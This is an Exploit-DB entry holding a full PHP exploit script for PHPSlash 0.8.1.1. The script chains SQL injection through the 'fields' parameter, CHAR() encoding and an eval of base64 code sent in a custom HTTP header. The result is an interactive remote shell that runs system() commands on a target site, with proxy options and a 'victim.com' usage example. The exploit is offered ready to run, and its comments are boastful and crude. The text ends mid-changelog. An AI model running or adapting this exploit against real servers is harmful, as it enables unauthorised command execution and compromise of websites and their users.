Exploit-DB #7948
Description: PHPSlash 0.8.1.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2009-02-02
Author: DarkFig

Exploit:
#!/usr/bin/php -q
<?php
#
# phpslash <= 0.8.1.1 Remote Code Execution Exploit
# - - - - - - - - - - - - - - - - - - - - - - - - - 
# RCE with no special rights (guest).
# No special PHP conditions required.
# - - - - - - - - - - - - - - - - - - - - - - - - - 
# #0 It was a private sploit, but I decided to publish
# it #1 You did the fag on that one bro, it will not happen
# again =). #2 Don't try to use it on hzv, I helped them
# to patch this one before I publish it =)
# - - - - - - - - - - - - - - - - - - - - - - - - - 
# Exploitation steps:
# 1 - include/class/tz_functions.inc tz_strftime()
# 2 - include/class/tz_functions.inc tz_generic()
# 3 - include/tz_env.class           generic()
#
error_reporting( E_ALL ^ E_NOTICE );

// Main function
function main()
{
	// :)
	$web = new phpsploit();
	$web->agent( 'Mozilla Firefox' );

	// Hey ya :)
	head();

	// Target
	$url = get_p( 'url', true );
	
	// Proxy options
	$prh = get_p( 'proxhost' );
	$pra = get_p( 'proxauth' );

	// Use a proxy ?
	if( $prh )
	{
		// host:ip
		$web->proxy( $prh );
		
		// Authentication
		if( $pra )
		$web->proxyauth( $pra );
	}
	
	// Single quote bypass
	$byp = "1');";

	// PHP code
	$php = 'eval(base64_decode($_SERVER[HTTP_MYPCODE]));';

	// Separator
	$s_sep = md5( rand( 0,[PII_REDACTED] ) . 'HEY_YA' );
	$c_sep = "print('$s_sep');";

	// Final PHP code
	$final = $byp . $c_sep  . $php . $c_sep  . 'exit();//';

	// Welcome guess !
	while( ($cmd = cmd_prompt()) !== false )
	{
		// magic_quotes_gpc bypass
		$web->addheader( 'MypCode', base64_encode( 'system("' . add_slashes($cmd) . '");' ) );
	
		// Go =]
		$web->get( $url . 'index.php?fields=' . to_char( $final ) . ',1' );

		// Result
		$res = explode( $s_sep, $web->getcontent() );

		// Erf 
		if( !isset( $res[1] ) )
		{
			print "\nFailed";
			exit(1);
		}
		// Cool
		else
		{
			if( empty( $res[1] ) )
			print "\nNo output: system() disabled OR cmd failed OR cmd without output";
			
			else
			print "\n" . $res[1];
		}
	}
	
	return;
}

// No more bug with " and $
function add_slashes( $str )
{
	return str_replace( '$', '\\$', addslashes( $str ) );
}

// Command prompt
function cmd_prompt()
{
	print "\nshell>";

	$cmd = trim( fgets( STDIN ) );
	
	// Wanna stop =( ?
	if( in_array( strtolower( $cmd ) , array( 'exit', 'quit' ) ) )
	return false;
	
	else 
	return $cmd;
}

// MySQL CHAR() encoding
function to_char( $data )
{
	$chars = 'CHAR(';
	$len   = strlen( $data );
	
	for( $i = 0; $i < $len; $i++ )
	{
		$chars .= ord( $data[ $i ] );
		
		if( $i != $len-1 )
		$chars .= ',';
	}
	
	return $chars . ')';
}

// CLI params
function get_p( $p, $exit = false )
{
	foreach( $_SERVER['argv'] as $key => $value )
	{
		if( $value === '-' . $p )
		{
			if( isset( $_SERVER['argv'][ $key+1 ] ) &&
			   !empty( $_SERVER['argv'][ $key+1 ] ) )
			{					
				return $_SERVER['argv'][ $key+1 ];
			}
			else
			{
				if( $exit )
				usage();
					
				return true;
			}
		}
	}
		
	if( $exit )
	usage();
		
	return false;
}
	
// Headers =)
function head()
{
	print "\nphpslash <= 0.8.1.1 Remote Code Execution Exploit\n";
	print "-------------------------------------------------\n\n";
	print " About: \n";
	print "  by DarkFig  < gmdarkfig (at) gmail (dot) com >\n";
	print "  http://acid-root.new.fr/\n";
	print "  #acidroot@irc.worldnet.net\n\n";
	
	return;
}

// Usage, can help..
function usage()
{
	print " Usage:\n";
	print "  php spl.php -url <website> [options]\n\n";
	print " Example:\n";
	print "  php spl.php -url http://victim.com/\n\n";
	print " Options:\n";
	print "  -proxhost <ip:port> if you wanna use a proxy\n";
	print "  -proxauth <usr:pwd> proxy with authentication\n";
	
	exit(0);
}

// Run baby
main();

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.1
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2008-08-29] (2.1)
 *  * New: The showheader()/showcookie() functions can now return an array
 *  * Bug #3 fixed: Problem concerning some servers for the main function
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007